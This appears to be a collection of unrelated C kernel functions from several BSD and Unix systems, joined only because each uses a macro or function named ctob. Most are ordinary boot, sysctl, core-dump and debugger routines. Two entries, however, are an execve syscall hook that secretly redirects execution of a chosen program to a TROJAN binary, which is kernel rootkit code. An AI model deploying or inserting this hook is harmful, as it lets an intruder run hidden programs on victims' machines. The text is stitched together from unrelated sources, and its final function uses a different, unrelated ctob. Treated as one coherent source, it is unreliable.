/* * uvaxIII_conf() is called by cpu_attach to do the cpu_specific setup. */ void uvaxIII_conf() { int syssub = GETSYSSUBT(vax_siedata); /* * MicroVAX III: We map in memory error registers, * cache control registers, SSC registers, * interprocessor registers and cache diag space. */ ka650merr_ptr = (void *)vax_map_physmem(KA650_MERR, 1); ka650cbd_ptr = (void *)vax_map_physmem(KA650_CBD, 1); ka650ssc_ptr = (void *)vax_map_physmem(KA650_SSC, 3); ka650ipcr_ptr = (void *)vax_map_physmem(KA650_IPCR, 1); KA650_CACHE_ptr = (void *)vax_map_physmem(KA650_CACHE, (KA650_CACHESIZE/VAX_NBPG)); printf("cpu: KA6%d%d, CVAX microcode rev %d Firmware rev %d\n", syssub == VAX_SIE_KA640 ? 4 : 5, syssub == VAX_SIE_KA655 ? 5 : 0, (vax_cpudata & 0xff), GETFRMREV(vax_siedata)); ka650setcache(CACHEON); if (ctob(physmem) > ka650merr_ptr->merr_qbmbr) { printf("physmem(0x%x) > qbmbr(0x%x)\n", ctob(physmem), (int)ka650merr_ptr->merr_qbmbr); panic("qbus map unprotected"); } if (mfpr(PR_TODR) == 0) mtpr(1, PR_TODR); }
static void mips_init(void) { int i; #ifdef FDT struct mem_region mr[FDT_MEM_REGIONS]; uint64_t val; int mr_cnt; int j; #endif for (i = 0; i < 10; i++) { phys_avail[i] = 0; } /* phys_avail regions are in bytes */ phys_avail[0] = MIPS_KSEG0_TO_PHYS(kernel_kseg0_end); phys_avail[1] = ctob(realmem); dump_avail[0] = phys_avail[0]; dump_avail[1] = phys_avail[1]; physmem = realmem; #ifdef FDT if (fdt_get_mem_regions(mr, &mr_cnt, &val) == 0) { physmem = btoc(val); KASSERT((phys_avail[0] >= mr[0].mr_start) && \ (phys_avail[0] < (mr[0].mr_start + mr[0].mr_size)), ("First region is not within FDT memory range")); /* Limit size of the first region */ phys_avail[1] = (mr[0].mr_start + MIN(mr[0].mr_size, ctob(realmem))); dump_avail[1] = phys_avail[1]; /* Add the rest of regions */ for (i = 1, j = 2; i < mr_cnt; i++, j+=2) { phys_avail[j] = mr[i].mr_start; phys_avail[j+1] = (mr[i].mr_start + mr[i].mr_size); dump_avail[j] = phys_avail[j]; dump_avail[j+1] = phys_avail[j+1]; } } #endif init_param1(); init_param2(physmem); mips_cpu_init(); pmap_bootstrap(); mips_proc0_init(); mutex_init(); kdb_init(); #ifdef KDB if (boothowto & RB_KDB) kdb_enter(KDB_WHY_BOOTFLAGS, "Boot flags requested debugger"); #endif }
void get_system_info(struct system_info * si) { long total; /* get process id of the last process */ (void) getkval(nlst[X_MPID].n_value, &(si->last_pid), sizeof(si->last_pid), nlst[X_MPID].n_name); /* get the cp_time array */ (void) getkval(nlst[X_SYSINFO].n_value, (int *) cp_time, sizeof(cp_time), nlst[X_SYSINFO].n_name); /* convert cp_time counts to persentages */ total = percentages(CPUSTATES, cpu_states, cp_time, cp_old, cp_diff); /* sum memory statistics */ (void) getkval(nlst[X_PHYSMEM].n_value, &memory_stats[0], sizeof(memory_stats[0]), nlst[X_PHYSMEM].n_name); (void) getkval(nlst[X_MAXMEM].n_value, &memory_stats[1], sizeof(memory_stats[1]), nlst[X_MAXMEM].n_name); (void) getkval(nlst[X_FREEMEM].n_value, &memory_stats[2], sizeof(memory_stats[2]), nlst[X_FREEMEM].n_name); (void) getkval(nlst[X_AVAILRMEM].n_value, &memory_stats[3], sizeof(memory_stats[3]), nlst[X_AVAILRMEM].n_name); (void) getkval(nlst[X_AVAILSMEM].n_value, &memory_stats[4], sizeof(memory_stats[4]), nlst[X_AVAILSMEM].n_name); (void) getkval(nlst[X_NSWAP].n_value, &memory_stats[5], sizeof(memory_stats[5]), nlst[X_NSWAP].n_name); memory_stats[0] = bytetok(ctob(memory_stats[0])); /* clicks -> bytes */ memory_stats[1] = bytetok(ctob(memory_stats[1])); /* clicks -> bytes */ memory_stats[2] = bytetok(ctob(memory_stats[2])); /* clicks -> bytes */ memory_stats[3] = bytetok(memory_stats[3] * NBPP); /* # bytes per page */ memory_stats[4] = bytetok(memory_stats[4] * NBPP); /* # bytes per page */ memory_stats[5] = bytetok(memory_stats[5] * NBPSCTR); /* # bytes per sector */ /* set arrays and strings */ /* * Note: we keep memory_stats as an unsigned long to avoid sign extension * problems when shifting in bytetok. But the module interface requires an * array of signed longs. So we just cast the pointer here and hope for * the best. --wnl */ si->cpustates = cpu_states; si->memory = (long *) memory_stats; tab_avenrun(si->load_avg); /* philiph */ }
/* * Allocate memory for variable-sized tables, */ void cpu_startup(void) { vaddr_t minaddr, maxaddr; char pbuf[9]; /* * Good {morning,afternoon,evening,night}. */ printf("%s%s", copyright, version); format_bytes(pbuf, sizeof(pbuf), ctob(physmem)); printf("total memory = %s\n", pbuf); minaddr = 0; /* * Allocate a submap for physio. */ phys_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, VM_PHYS_SIZE, 0, false, NULL); /* * (No need to allocate an mbuf cluster submap. Mbuf clusters * are allocated via the pool allocator, and we use KSEG to * map those pages.) */ format_bytes(pbuf, sizeof(pbuf), ptoa(uvmexp.free)); printf("avail memory = %s\n", pbuf); }
void getucontext32(struct lwp *l, ucontext32_t *ucp) { struct proc *p = l->l_proc; KASSERT(mutex_owned(p->p_lock)); ucp->uc_flags = 0; ucp->uc_link = (uint32_t)(intptr_t)l->l_ctxlink; ucp->uc_sigmask = l->l_sigmask; ucp->uc_flags |= _UC_SIGMASK; /* * The (unsupplied) definition of the `current execution stack' * in the System V Interface Definition appears to allow returning * the main context stack. */ if ((l->l_sigstk.ss_flags & SS_ONSTACK) == 0) { ucp->uc_stack.ss_sp = USRSTACK32; ucp->uc_stack.ss_size = ctob(p->p_vmspace->vm_ssize); ucp->uc_stack.ss_flags = 0; /* XXX, def. is Very Fishy */ } else { /* Simply copy alternate signal execution stack. */ ucp->uc_stack.ss_sp = (uint32_t)(intptr_t)l->l_sigstk.ss_sp; ucp->uc_stack.ss_size = l->l_sigstk.ss_size; ucp->uc_stack.ss_flags = l->l_sigstk.ss_flags; } ucp->uc_flags |= _UC_STACK; mutex_exit(p->p_lock); cpu_getmcontext32(l, &ucp->uc_mcontext, &ucp->uc_flags); mutex_enter(p->p_lock); }
static void mips_init(void) { int i; printf("entry: mips_init()\n"); bootverbose = 1; realmem = btoc(32 << 20); for (i = 0; i < 10; i++) { phys_avail[i] = 0; } /* phys_avail regions are in bytes */ dump_avail[0] = phys_avail[0] = MIPS_KSEG0_TO_PHYS(kernel_kseg0_end); dump_avail[1] = phys_avail[1] = ctob(realmem); physmem = realmem; init_param1(); init_param2(physmem); mips_cpu_init(); pmap_bootstrap(); mips_proc0_init(); mutex_init(); kdb_init(); #ifdef KDB if (boothowto & RB_KDB) kdb_enter(KDB_WHY_BOOTFLAGS, "Boot flags requested debugger"); #endif }
/* * cpu_startup: allocate memory for variable-sized tables, * initialize CPU, and do autoconfiguration. */ void cpu_startup(void) { vaddr_t minaddr, maxaddr; #ifdef DEBUG extern int pmapdebug; int opmapdebug = pmapdebug; pmapdebug = 0; #endif cpu_setmodel("FIC8234"); if (fputype != FPU_NONE) m68k_make_fpu_idle_frame(); /* * Good {morning,afternoon,evening,night}. */ printf("%s%s", copyright, version); identifycpu(); printf("real mem = %d\n", ctob(physmem)); minaddr = 0; /* * Allocate a submap for physio */ phys_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, VM_PHYS_SIZE, 0, false, NULL); #ifdef DEBUG pmapdebug = opmapdebug; #endif printf("avail mem = %ld\n", ptoa(uvmexp.free)); }
/* * Machine-dependent startup code */ startup() { register i; maxmem = memsize (); i = usermem (); /* * zero and free all of core */ for(;;) { if(i == maxmem) break; clearseg(i); mfree (coremap, 1, i); i++; } printf("mem = %D\n", ctob((long)maxmem)); if(MAXMEM < maxmem) maxmem = MAXMEM; mfree(swapmap, nswap, 1); swplo--; }
void dumpconf() { int nblks; /* size of dump area */ int maj; if (dumpdev == NODEV) return; maj = major(dumpdev); if (maj < 0 || maj >= nblkdev) panic("dumpconf: bad dumpdev=0x%x", dumpdev); if (bdevsw[maj].d_psize == NULL) return; nblks = (*bdevsw[maj].d_psize)(dumpdev); if (nblks <= ctod(1)) return; dumpsize = btoc(IOM_END + ctob(dumpmem_high)); /* Always skip the first CLBYTES, in case there is a label there. */ if (dumplo < ctod(1)) dumplo = ctod(1); /* Put dump at end of partition, and make it fit. */ if (dumpsize > dtoc(nblks - dumplo)) dumpsize = dtoc(nblks - dumplo); if (dumplo < nblks - ctod(dumpsize)) dumplo = nblks - ctod(dumpsize); }
static void mips_init(void) { int i; for (i = 0; i < 10; i++) { phys_avail[i] = 0; } /* phys_avail regions are in bytes */ phys_avail[0] = MIPS_KSEG0_TO_PHYS((vm_offset_t)&end); phys_avail[1] = ctob(realmem); physmem = realmem; init_param1(); init_param2(physmem); mips_cpu_init(); pmap_bootstrap(); mips_proc0_init(); mutex_init(); #ifdef DDB kdb_init(); #endif }
/* BEGIN DEFUNCT */ obreak() { struct a { char *nsiz; }; register size_t n, d, ds; /* * set n to new data size */ n = btoc(((struct a *)u.u_ap)->nsiz) - ctos(u.u_tsize) * stoc(1); if (n < 0) n = 0; /* * since we can't pass a -ve argument for the difference to chksize, * if d is negative, make ds equal to the final value and clear d. * keep the real difference in n for later use in expand. */ ds = u.u_dsize; if ((n = d = clrnd(n - u.u_dsize)) < 0) { ds += d; d = 0; } if (ctob(ds + d) > u.u_rlimit[RLIMIT_DATA].rlim_cur) { u.u_error = ENOMEM; return; } if (chksize((u_int)u.u_tsize, (u_int)ds, (u_int)d, (u_int)u.u_ssize)) return; if (swpexpand(ds + d, u.u_ssize, &u.u_dmap, &u.u_smap) == 0) return; expand((int)n, 0); }
static int sysctl_hw_usermem(SYSCTL_HANDLER_ARGS) { int error = sysctl_handle_int(oidp, 0, ctob((int)Maxmem - vmstats.v_wire_count), req); return (error); }
void cpu_dumpconf(void) { int nblks; /* * XXX include the final RAM page which is not included in physmem. */ if (dumpdev == NODEV) return; nblks = bdev_size(dumpdev); if (nblks > 0) { if (dumpsize > btoc(dbtob(nblks - dumplo))) dumpsize = btoc(dbtob(nblks - dumplo)); else if (dumplo == 0) dumplo = nblks - btodb(ctob(dumpsize)); } /* * Don't dump on the first PAGE_SIZE (why PAGE_SIZE?) in case the dump * device includes a disk label. */ if (dumplo < btodb(PAGE_SIZE)) dumplo = btodb(PAGE_SIZE); /* * If we have nothing to dump (XXX implement crash dumps), * make it clear for savecore that there is no dump. */ if (dumpsize <= 0) dumplo = 0; }
static int sysctl_hw_realmem(SYSCTL_HANDLER_ARGS) { u_long val; val = ctob(realmem); return (sysctl_handle_long(oidp, &val, 0, req)); }
static int execve_hook(struct thread *td, void *args) { struct execve_args *uap; uap = (struct execve_args *)args; struct execve_args kernel_ea; struct execve_args *user_ea; struct vmspace *vm; vm_offset_t base, addr; char t_fname[] = TROJAN; if (strcmp(uap->fname, ORIGINAL) == 0) { vm = curthread->td_proc->p_vmspace; base = round_page((vm_offset_t) vm->vm_daddr); addr = base + ctob(vm->vm_dsize); vm_map_find(&vm->vm_map, NULL, 0, &addr, PAGE_SIZE, FALSE, VM_PROT_ALL, VM_PROT_ALL, 0); vm->vm_dsize += btoc(PAGE_SIZE); copyout(&t_fname, (char *)addr, strlen(t_fname)); kernel_ea.fname = (char *)addr; kernel_ea.argv = uap->argv; kernel_ea.envv = uap->envv; user_ea = (struct execve_args *)addr + sizeof(t_fname); copyout(&kernel_ea, user_ea, sizeof(struct execve_args)); return execve(curthread, user_ea); } return execve(td, args); }
static int sysctl_hw_physmem(SYSCTL_HANDLER_ARGS) { u_long pmem = ctob(physmem); int error = sysctl_handle_long(oidp, &pmem, 0, req); return (error); }
static int sysctl_hw_usermem(SYSCTL_HANDLER_ARGS) { u_long val; val = ctob(physmem - vm_cnt.v_wire_count); return (sysctl_handle_long(oidp, &val, 0, req)); }
setcor() { fcor = datmap.ufd = getfile(corfil,2); if (kernel && fcor != -1 && INKERNEL(filhdr.a_entry)) { struct stat stb; kcore = 1; fstat(fcor, &stb); datmap.b1 = 0; datmap.e1 = -1; if (kernel == 0 && (stb.st_mode & S_IFREG)) datmap.b1 = 0x80000000; lookup("_Sysmap"); sbr = cursym->n_value; lookup("_Syssize"); slr = cursym->n_value; printf("sbr %x slr %x\n", sbr, slr); lookup("_masterpaddr"); physrw(fcor, KVTOPH(cursym->n_value), &masterpcbb, 1); masterpcbb = (masterpcbb&PG_PFNUM)*NBPG; getpcb(); findstackframe(); return; } if (read(fcor, (char *)&u, ctob(UPAGES))!=ctob(UPAGES) || !INUDOT(u.u_pcb.pcb_ksp) || !INSTACK(u.u_pcb.pcb_usp)) { datmap.e1 = MAXFILE; return; } signo = u.u_arg[0]; sigcode = u.u_code; filhdr.a_text = ctob(u.u_tsize); filhdr.a_data = ctob(u.u_dsize); stksiz = ctob(u.u_ssize); switch (filhdr.a_magic) { case OMAGIC: datmap.b1 = 0; datmap.e1 = filhdr.a_text+filhdr.a_data; datmap.f2 = ctob(UPAGES) + datmap.e1; break; case NMAGIC: case ZMAGIC: datmap.b1 = round(filhdr.a_text, PAGSIZ); datmap.e1 = datmap.b1 + filhdr.a_data; datmap.f2 = ctob(UPAGES) + filhdr.a_data; break; } datbas = datmap.b1; datmap.f1 = ctob(UPAGES); datmap.b2 = MAXSTOR - stksiz; datmap.e2 = MAXSTOR; }
/* * Find the current stack frame when debugging the kernel. * If we're looking at a crash dump and this was not a ``clean'' * crash, then we must search the interrupt stack carefully * looking for a valid frame. */ findstackframe() { char *panicstr, buf[256]; register struct frame *fp; caddr_t addr; register char *cp; int mask; if (lookup("_panicstr") == 0) return; lseek(fcor, KVTOPH(cursym->n_value), L_SET); read(fcor, &panicstr, sizeof (panicstr)); if (panicstr == 0) return; lseek(fcor, KVTOPH((off_t)panicstr), L_SET); read(fcor, buf, sizeof (buf)); for (cp = buf; cp < &buf[sizeof (buf)] && *cp; cp++) if (!isascii(*cp) || (!isprint(*cp) && !isspace(*cp))) *cp = '?'; if (*cp) *cp = '\0'; printf("panic: %s\n", buf); /* * After a panic, look at the top of the rpb stack to * find a stack frame. If this was a clean crash, * i.e. one which left the interrupt and kernel stacks * in a reasonable state, then we should find a pointer * to the proper stack frame here (at location scb-4). * If we don't find a reasonable frame here, then we * must search down through the interrupt stack. */ intstack = lookup("_intstack")->n_value; #define NISP 3 /* from locore.s */ eintstack = intstack + NISP*NBPG; rpb = lookup("_rpb")->n_value; scb = lookup("_scb")->n_value; lookup("_u"); ustack = cursym->n_value + (int)&((struct user *)0)->u_stack[0]; eustack = cursym->n_value + ctob(UPAGES); physrw(fcor, KVTOPH((int)scb - sizeof (caddr_t)), &addr, 1); fp = getframe(fcor, addr); if (fp == 0) fp = checkintstack(); /* search kernel stack? */ if (fp == 0) { printf("can't locate stack frame\n"); return; } /* probably shouldn't clobber pcb, but for now this is easy */ pcb.pcb_fp = addr; pcb.pcb_pc = fp->fr_savpc; pcb.pcb_ap = addr + sizeof (struct frame) + fp->fr_spa; for (mask = fp->fr_mask; mask; mask >>= 1) if (mask & 01) pcb.pcb_ap += sizeof (caddr_t); }
/* * execve system call hook. * Redirects the execution of ORIGINAL into TROJAN. */ static int execve_hook(struct thread *td, void *syscall_args) { struct execve_args /* { char *fname; char **argv; char **envv; } */ *uap; uap = (struct execve_args *)syscall_args; struct execve_args kernel_ea; struct execve_args *user_ea; struct vmspace *vm; vm_offset_t base, addr; char t_fname[] = TROJAN; /* Redirect this process? */ if (strcmp(uap->fname, ORIGINAL) == 0) { /* * Determine the end boundary address of the current * process's user data space. */ vm = curthread->td_proc->p_vmspace; base = round_page((vm_offset_t) vm->vm_daddr); addr = base + ctob(vm->vm_dsize); /* * Allocate a PAGE_SIZE null region of memory for a new set * of execve arguments. */ vm_map_find(&vm->vm_map, NULL, 0, &addr, PAGE_SIZE, FALSE, VM_PROT_ALL, VM_PROT_ALL, 0); vm->vm_dsize += btoc(PAGE_SIZE); /* * Set up an execve_args structure for TROJAN. Remember, you * have to place this structure into user space, and because * you can't point to an element in kernel space once you are * in user space, you'll have to place any new "arrays" that * this structure points to in user space as well. */ copyout(&t_fname, (char *)addr, strlen(t_fname)); kernel_ea.fname = (char *)addr; kernel_ea.argv = uap->argv; kernel_ea.envv = uap->envv; /* Copy out the TROJAN execve_args structure. */ user_ea = (struct execve_args *)addr + sizeof(t_fname); copyout(&kernel_ea, user_ea, sizeof(struct execve_args)); /* Execute TROJAN. */ return(execve(curthread, user_ea)); } return(execve(td, syscall_args)); }
setcor() { fcor=getfile(corfil,2); datmap.ufd=fcor; IF read(fcor, corhdr, ctob(USIZE))==ctob(USIZE) THEN txtsiz = corhdr->u_tsize << 6; datsiz = corhdr->u_dsize << 6; stksiz = corhdr->u_ssize << 6; datmap.b1 = datbas = (magic==0410?round(txtsiz,TXTRNDSIZ):0); datmap.e1=(magic==0407?txtsiz:datmap.b1)+datsiz; datmap.f1 = ctob(USIZE); datmap.b2 = maxstor-stksiz; datmap.e2 = maxstor; datmap.f2 = ctob(USIZE)+(magic==0410?datsiz:datmap.e1); IF magic ANDF magic!=corhdr[0].u_exdata.ux_mag THEN printf("%s\n",BADMAG); FI ELSE datmap.e1 = maxfile; FI }
int CORENAME(coredump_netbsd)(struct lwp *l, void *iocookie) { struct coredump_state cs; struct proc *p = l->l_proc; struct vmspace *vm = p->p_vmspace; int error; cs.core.c_midmag = 0; strncpy(cs.core.c_name, p->p_comm, MAXCOMLEN); cs.core.c_nseg = 0; cs.core.c_signo = p->p_sigctx.ps_signo; cs.core.c_ucode = p->p_sigctx.ps_code; cs.core.c_cpusize = 0; cs.core.c_tsize = (u_long)ctob(vm->vm_tsize); cs.core.c_dsize = (u_long)ctob(vm->vm_dsize); cs.core.c_ssize = (u_long)round_page(ctob(vm->vm_ssize)); error = CORENAME(cpu_coredump)(l, NULL, &cs.core); if (error) return (error); error = uvm_coredump_walkmap(p, NULL, CORENAME(coredump_countsegs_netbsd), &cs); if (error) return (error); /* First write out the core header. */ error = coredump_write(iocookie, UIO_SYSSPACE, &cs.core, cs.core.c_hdrsize); if (error) return (error); /* Then the CPU specific stuff */ error = CORENAME(cpu_coredump)(l, iocookie, &cs.core); if (error) return (error); /* Finally, the address space dump */ return uvm_coredump_walkmap(p, iocookie, CORENAME(coredump_writesegs_netbsd), &cs); }
void cpu_startup_common(void) { vaddr_t minaddr, maxaddr; char pbuf[9]; /* "99999 MB" */ pmap_tlb_info_evcnt_attach(&pmap_tlb0_info); #ifdef MULTIPROCESSOR kcpuset_create(&cpus_halted, true); KASSERT(cpus_halted != NULL); kcpuset_create(&cpus_hatched, true); KASSERT(cpus_hatched != NULL); kcpuset_create(&cpus_paused, true); KASSERT(cpus_paused != NULL); kcpuset_create(&cpus_resumed, true); KASSERT(cpus_resumed != NULL); kcpuset_create(&cpus_running, true); KASSERT(cpus_running != NULL); kcpuset_set(cpus_hatched, cpu_number()); kcpuset_set(cpus_running, cpu_number()); #endif cpu_hwrena_setup(); /* * Good {morning,afternoon,evening,night}. */ printf("%s%s", copyright, version); printf("%s\n", cpu_getmodel()); format_bytes(pbuf, sizeof(pbuf), ctob(physmem)); printf("total memory = %s\n", pbuf); minaddr = 0; /* * Allocate a submap for physio. */ phys_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, VM_PHYS_SIZE, 0, FALSE, NULL); /* * (No need to allocate an mbuf cluster submap. Mbuf clusters * are allocated via the pool allocator, and we use KSEG/XKPHYS to * map those pages.) */ format_bytes(pbuf, sizeof(pbuf), ptoa(uvmexp.free)); printf("avail memory = %s\n", pbuf); #if defined(__mips_n32) module_machine = "mips-n32"; #endif }
void cpu_thread_clean(struct thread *td) { struct pcb *pcb; pcb = td->td_pcb; /* * Clean TSS/iomap */ if (pcb->pcb_tssp != NULL) { kmem_free(kernel_arena, (vm_offset_t)pcb->pcb_tssp, ctob(IOPAGES + 1)); pcb->pcb_tssp = NULL; } }
/* * cpu_startup: allocate memory for variable-sized tables. */ void cpu_startup() { vaddr_t minaddr, maxaddr; char pbuf[9]; extern void greeting __P((void)); if (fputype != FPU_NONE) m68k_make_fpu_idle_frame(); /* * Initialize the kernel crash dump header. */ cpu_init_kcore_hdr(); /* * Good {morning,afternoon,evening,night}. */ printf("%s%s", copyright, version); identifycpu(); format_bytes(pbuf, sizeof(pbuf), ctob(physmem)); printf("total memory = %s\n", pbuf); minaddr = 0; /* * Allocate a submap for physio */ phys_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, VM_PHYS_SIZE, 0, false, NULL); /* * Finally, allocate mbuf cluster submap. */ mb_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, nmbclusters * mclbytes, VM_MAP_INTRSAFE, false, NULL); format_bytes(pbuf, sizeof(pbuf), ptoa(uvmexp.free)); printf("avail memory = %s\n", pbuf); /* * Say "Hi" to the world */ greeting(); }
void sh_startup(void) { vaddr_t minaddr, maxaddr; char pbuf[9]; const char *model = cpu_getmodel(); printf("%s%s", copyright, version); if (*model != '\0') printf("%s", model); #ifdef DEBUG printf("general exception handler:\t%d byte\n", sh_vector_generic_end - sh_vector_generic); printf("TLB miss exception handler:\t%d byte\n", #if defined(SH3) && defined(SH4) CPU_IS_SH3 ? sh3_vector_tlbmiss_end - sh3_vector_tlbmiss : sh4_vector_tlbmiss_end - sh4_vector_tlbmiss #elif defined(SH3) sh3_vector_tlbmiss_end - sh3_vector_tlbmiss #elif defined(SH4) sh4_vector_tlbmiss_end - sh4_vector_tlbmiss #endif ); printf("interrupt exception handler:\t%d byte\n", sh_vector_interrupt_end - sh_vector_interrupt); #endif /* DEBUG */ format_bytes(pbuf, sizeof(pbuf), ctob(physmem)); printf("total memory = %s\n", pbuf); minaddr = 0; /* * Allocate a submap for physio */ phys_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, VM_PHYS_SIZE, 0, false, NULL); format_bytes(pbuf, sizeof(pbuf), ptoa(uvmexp.free)); printf("avail memory = %s\n", pbuf); }
int ibcs2_sysi86(struct thread *td, struct ibcs2_sysi86_args *args) { switch (args->cmd) { case SI86_FPHW: { /* Floating Point information */ int val, error; if (hw_float) val = IBCS2_FP_387; else val = IBCS2_FP_NO; if ((error = copyout(&val, args->arg, sizeof(val))) != 0) return error; return 0; } case STIME: /* set the system time given pointer to long */ /* gettimeofday; time.tv_sec = *args->arg; settimeofday */ return EINVAL; case SETNAME: { /* set hostname given string w/ len <= 7 chars */ int name[2]; name[0] = CTL_KERN; name[1] = KERN_HOSTNAME; return (userland_sysctl(td, name, 2, 0, 0, 0, args->arg, 7, 0, 0)); } case SI86_MEM: /* size of physical memory */ td->td_retval[0] = ctob(physmem); return 0; default: #ifdef DIAGNOSTIC printf("IBCS2: 'sysi86' function %d(0x%x) " "not implemented yet\n", args->cmd, args->cmd); #endif return EINVAL; } }
/********************************************************************** * Function name: in_cvt * Purpose: convert input string to num in base as int * Function Inputs: string representing the value * the base of the representation * Function Output: returns the value or -INT_MAX if error * Version: 1.0 * Author: Robert Allison **********************************************************************/ int in_cvt(char *input, int base) { size_t i, j, len = strlen(input); int value = 0, val; int sign = +1; unsigned int pos = 1; /* remove leading spaces */ for ( i = 0; i < len; i++) if (input[i] != ' ') break; /* remove leading + */ if (input[i] == '+') i++; /* see if negative */ if (input[i] == '-') { i++; sign = -1; } /* skip trailing spaces */ for ( j = len; j > i; j--) if (input[j - 1] != ' ') break; /* convert each char by base, add by position */ for ( ; j > i; j--) { /***************** WC 1010-01-25******************/ if (hex_in(input[j - 1]) != 0) val = hex_in(input[j - 1]); /***************** WC 1010-01-25*****************/ else if ((val = ctob(input[j - 1], base)) == -INT_MAX) return -INT_MAX; value += (val * pos); pos *= base; } /* return value of string, correctly signed */ return sign * value; }
/* * cpu_startup: allocate memory for variable-sized tables, * initialize CPU, and do autoconfiguration. */ void cpu_startup(void) { vaddr_t minaddr, maxaddr; char pbuf[9]; #ifdef DEBUG extern int pmapdebug; int opmapdebug = pmapdebug; pmapdebug = 0; #endif /* * Good {morning,afternoon,evening,night}. */ printf("%s%s", copyright, version); printf("SONY NET WORK STATION, Model %s, ", idrom.id_model); printf("Machine ID #%d\n", idrom.id_serial); format_bytes(pbuf, sizeof(pbuf), ctob(physmem)); printf("total memory = %s\n", pbuf); minaddr = 0; /* * Allocate a submap for physio */ phys_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, VM_PHYS_SIZE, 0, false, NULL); /* * No need to allocate an mbuf cluster submap. Mbuf clusters * are allocated via the pool allocator, and we use KSEG to * map those pages. */ #ifdef DEBUG pmapdebug = opmapdebug; #endif format_bytes(pbuf, sizeof(pbuf), ptoa(uvmexp.free)); printf("avail memory = %s\n", pbuf); }
void cpu_startup(void) { char pbuf[9]; vaddr_t minaddr, maxaddr; #ifdef DEBUG extern int pmapdebug; /* XXX */ int opmapdebug = pmapdebug; pmapdebug = 0; /* Shut up pmap debug during bootstrap */ #endif /* * Good {morning,afternoon,evening,night}. */ printf("%s%s", copyright, version); printf("%s\n", cpu_model); format_bytes(pbuf, sizeof(pbuf), ctob(physmem)); printf("total memory = %s\n", pbuf); minaddr = 0; /* * Allocate a submap for physio */ phys_map = uvm_km_suballoc(kernel_map, &minaddr, &maxaddr, VM_PHYS_SIZE, 0, FALSE, NULL); /* * No need to allocate an mbuf cluster submap. Mbuf clusters * are allocated via the pool allocator, and we use KSEG to * map those pages. */ #ifdef DEBUG pmapdebug = opmapdebug; #endif format_bytes(pbuf, sizeof(pbuf), ptoa(uvmexp.free)); printf("avail memory = %s\n", pbuf); }